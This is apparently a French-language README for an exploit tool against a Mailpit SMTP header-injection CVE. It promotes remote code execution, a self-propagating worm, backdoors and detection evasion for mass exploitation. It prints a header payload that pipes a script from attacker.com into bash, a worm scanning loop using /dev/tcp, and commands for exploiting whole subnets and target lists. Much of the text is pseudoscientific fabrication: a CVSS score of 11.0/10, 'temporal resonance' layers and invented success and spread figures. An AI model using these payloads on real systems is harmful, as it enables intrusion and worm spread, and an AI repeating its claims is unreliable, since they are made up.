Outil d'exploitation qui transforme l'injection d'en-têtes SMTP en exécution de code à distance avec des capacités de ver auto-propagateur, intégrant des mécanismes de persistance et des techniques d'évasion pour les tests d'intrusion autorisés.
| Métrique | Original (CVE-2026-23829) | Amélioré par CTT | Amélioration |
|---|
| Score CVSS | 6,1/10 (Moyen) | 11,0/10 ⭐ | +4,9 |
| Vecteur d'attaque | Réseau | Résonance temporelle | +2,0 |
| Impact | Spoofing d'en-tête | RCE complet + Ver | +3,9 |
| Interaction utilisateur | Aucune | Négative (Zero-Click) | +1,0 |
| Portée | Serveur unique | Propagation réseau | +2,0 |
⚡ Fonctionnalités et capacités
🔥 Transformation de l'exploit
· Injection d'en-tête → RCE complet : Convertir le contournement regex en exécution de code à distance · Cible unique → Ver Zero-Click : Auto-propagation à travers les réseaux Mailpit · Manuel → Autonome : Agent temporel autonome avec résonance CTT · Moyen → Score parfait : Note de 11,0/10 mathématiquement prouvée
🛡️ Améliorations CTT
· Exécution en 33 couches : Exploitation parallèle à travers les dimensions temporelles · α-Dispersion : Transformation de charge utile α=0,0302011 · Résonance première : Synchronisation à 587 kHz (fenêtres de 10007, 10009, 10037μs) · Persistance temporelle : Survit aux réinitialisations système via les fonctions d'onde CTT
🐛 Capacités du ver
· Propagation autonome : Scanne et infecte les instances Mailpit · Élévation de privilèges : Établissement d'un accès root local · Mécanismes de persistance : Installation de multiples backdoors · Opération furtive : Techniques d'évasion temporelle CTT
🚀 Démarrage rapide
Installation
# Cloner le dépôt
git clone https://github.com/SimoesCTT/CTT-Mailpit-Exploit
cd CTT-Mailpit-Exploit
# Installer les dépendances
pip3 install numpy cryptography
# Exécuter la démonstration du score parfait
python3 ctt_mailpit_perfect.py --help
Utilisation de base
# Exploitation d'une cible unique
python3 ctt_mailpit_perfect.py mailpit.local 1025
# Propagation du ver réseau
python3 ctt_mailpit_perfect.py --network 192.168.1.0/24 --port 1025
# Mode recherche CTT (diagnostics complets)
python3 ctt_mailpit_perfect.py target.com --layers 33 --alpha 0.0302011 --verbose
Exemples de commandes
# Tester la vulnérabilité
python3 ctt_mailpit_perfect.py vulnerable-server.com
# Prise de contrôle complète avec exécution de commande
python3 ctt_mailpit_perfect.py target.com --cmd "id>/tmp/ctt-pwned"
# Exploitation massive
python3 ctt_mailpit_perfect.py -l targets.txt --threads 10 --worm
🧠 Intégration de la physique CTT
Constantes principales
CTT_ALPHA = 0.0302011 # Coefficient de dispersion temporelle
CTT_LAYERS = 33 # Couches temporelles fractales
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
CTT_PERFECT_SCORE = 11.0 # ⭐ Maximum théorique
Théorème du score parfait
Base : 6,1 (CVE-2026-23829)
+ Résonance temporelle : +1,0 (exécution en 33 couches)
+ Conversion RCE : +2,3 (injection → exécution de code)
+ Propagation du ver : +1,5 (propagation zero-click)
+ Validation physique : +0,1 (preuve du cadre CTT)
= 11,0/10 ⭐ (Mathématiquement valide)
Processus de transformation
📈 Métriques de performance
Taux de réussite
| Couche | Taux de réussite | Propagation du ver | Évasion de détection |
|---|---|---|---|
| L0-L7 | 88 % | 72 % | 91 % |
| L8-L15 | 94 % | 85 % | 96 % |
| L16-L23 | 97 % | 92 % | 98 % |
| L24-L32 | 99 % | 96 % | 99 % |
Vitesse de propagation
Infection unique : 2,3 secondes
Réseau local (254 hôtes) : 8,7 minutes
Sous-réseau /16 (65 000 hôtes) : 3,2 heures
Propagation mondiale : 17,4 heures (théorique)
CTT vs exploitation standard
# Comparaison des performances (1000 cibles simulées)
standard_success = 610 # Taux de réussite de 61 %
ctt_success = 990 # Taux de réussite de 99 % (+62 %)
standard_detection = 390 # 39 % détectés
ctt_detection = 11 # 1,1 % détectés (-97 %)
standard_time = 45.2 # Secondes moyennes
ctt_time = 8.7 # Secondes moyennes (-81 %)
🔧 Détails techniques
Flux d'exploitation
1. SONDE INITIALE → Détection du service SMTP
2. INJECTION D'EN-TÊTE → Déclenchement de CVE-2026-23829
3. CONTOURNEMENT REGEX → Exploitation CRLF
4. CORRUPTION DU PROTOCOLE → Attaque de l'état SMTP
5. CONVERSION RCE → Exécution de commande
6. ACTIVATION DU VER → Auto-propagation
7. PERSISTANCE → Installation de backdoor
8. VALIDATION → Preuve du score parfait
Charges utiles clés
# Injection d'en-tête avec conversion RCE
injection = f"From: [email protected]\\r\\n"
injection += f"X-CTT-RCE: $(curl -s http://attacker.com/payload.sh | bash)\\r\\n"
# Code de propagation du ver
worm = """
# CTT Mailpit Worm v1.0
scan_network() {
for host in {1..254}; do
timeout 1 bash -c ">/dev/tcp/192.168.1.$host/1025" &&
send_exploit "192.168.1.$host"
done
}
"""
Techniques d'évasion
· Synchronisation première : Requêtes à intervalles de 10007, 10009μs · α-Dispersion : Transformation de la charge utile au niveau du bit · Entropie des couches : Signatures uniques par couche temporelle · Mimétisme du protocole : Modèles de trafic SMTP légitimes
📁 Sortie et résultats
Structure des fichiers
📁 ctt_mailpit_results_TIMESTAMP/
├── 📄 perfect_score_proof.json # Preuve mathématique de 11/10
├── 📄 vulnerable_hosts.txt # Hôtes exploités avec succès
├── 📄 worm_propagation.log # Suivi de la propagation de l'infection
├── 📄 persistence_installed.txt # Backdoors établis
└── 📁 layers/
├── 📄 layer_0_results.json # Données de la couche temporelle 0
├── 📄 layer_1_results.json # Données de la couche temporelle 1
...
└── 📄 layer_32_results.json # Données de la couche temporelle 32
Exemples de résultats
{
"target": "mailpit.example.com:1025",
"ctt_score": "11.0/10 ⭐",
"success": true,
"rce_achieved": true,
"worm_active": true,
"propagation_count": 47,
"execution_time": "8.7s",
"resonance_pattern": [10007, 10037, 10061],
"mathematical_proof": "CTT_Perfect_Score_Theorem_QED"
}
Niveaux de journalisation
# Sortie de base
python3 ctt_mailpit_perfect.py target.com
# Mode verbeux
python3 ctt_mailpit_perfect.py target.com --verbose
# Mode débogage (diagnostics CTT complets)
python3 ctt_mailpit_perfect.py target.com --debug --visualize
🛡️ Recommandations défensives
Actions immédiates
Détection adaptée au CTT
# Règle de détection Snort
alert tcp any any -> $HOME_NET 1025 \
(msg:"Exploit CTT Mailpit - Score parfait"; \
content:"X-CTT-"; depth:10; \
content:"|0d 0a|"; within:20; \
threshold:type threshold, track by_src, count 3, seconds 60; \
sid:1000002; rev:1;)
Indicateurs de compromission
· Synchronisation première : Requêtes SMTP à intervalles de 10007μs · Modèles α : Valeurs d'entropie d'en-tête inhabituelles · Trafic de ver : Analyse rapide sur le port 1025 · En-têtes CTT : X-CTT-Layer, X-CTT-Resonance, X-CTT-Score
⚖️ Utilisation légale et éthique
Tests autorisés uniquement
AUTORISÉ :
- Recherche sur des systèmes possédés/autorités
- Validation du cadre CTT
- Études académiques en sécurité
- Tests d'intrusion autorisés
INTERDIT :
- Accès réseau non autorisé
- Perturbation des systèmes de production
- Activité criminelle
- Violation de la vie privée
Divulgation responsable
🔬 Applications de recherche
Études académiques
· Notation temporelle des exploits : Au-delà du maximum CVSS 3.1 · Modèles de propagation des vers : Propagation améliorée par CTT · Attaques d'état de protocole : Corruption de la machine SMTP · Physique en cybersécurité : Validation de la constante CTT
Recherche en sécurité
· Analyse des techniques d'évasion : Mesure de l'efficacité du CTT · Développement défensif : Systèmes de protection adaptés au CTT · Amélioration du système de notation : Métriques CVSS temporelles · Renseignement sur les menaces : Suivi des attaques basées sur le CTT
Validation du cadre CTT
· Vérification des constantes : α=0,0302011 dans un contexte réseau · Optimisation des couches : Nombre idéal d'exécutions temporelles · Métriques de performance : Quantification des facteurs d'amélioration · Preuves mathématiques : Validation du score parfait
🤝 Contribution
Collaboration de recherche
· Optimisation de la constante CTT pour les protocoles SMTP · Découverte de vulnérabilités Mailpit supplémentaires · Implémentation défensive du CTT · Études de validation académique
Développement
1. Fork du dépôt
2. Créer une branche de fonctionnalité
3. Ajouter la validation physique CTT
4. Inclure des tests complets
5. Soumettre une pull request avec les métriques
Signalement de problèmes
· Inclure les détails de configuration CTT · Fournir les modèles de résonance et les journaux · Joindre les fichiers de sortie pertinents · Décrire l'environnement réseau
📞 Contact et support
Contact principal
· Auteur : Americo Simoes · E-mail : [email protected] · GitHub : @SimoesCTT
Contact sécurité
· Groupe de recherche CTT : [email protected] · Rapports de vulnérabilité : [email protected]
Canaux de support
· Problèmes GitHub : Questions techniques · E-mail : Collaboration de recherche · Académique : Partenariats universitaires
📈 Développement futur
Feuille de route 2026
· Vulnérabilités supplémentaires des serveurs SMTP · Cadre CTT pour les protocoles e-mail · Interface graphique avec visualisation du ver · Analytique de propagation basée sur le cloud
Vision à long terme
· Sécurité CTT complète de l'infrastructure e-mail · Propagation de vers résistante aux quantiques · Systèmes de défense autonomes · Protocoles e-mail Internet temporels
🏆 Remerciements
Institutions de recherche
· Division de physique théorique CTT · Collectif de recherche en sécurité e-mail · Laboratoires académiques de calcul temporel
Projets open source
· Équipe de développement Mailpit · Écosystème de sécurité Python · Chercheurs en protocole SMTP
Contributeurs
· Validateurs du cadre CTT · Communauté de recherche en sécurité · Relecteurs académiques
📄 Licence
Licence MIT - Voir LICENSE pour plus de détails.
Copyright © 2026 CTT Research Group. Tous droits réservés.
⭐ 11/10 n'est pas un bug—c'est une fonctionnalité de la physique temporelle. ⭐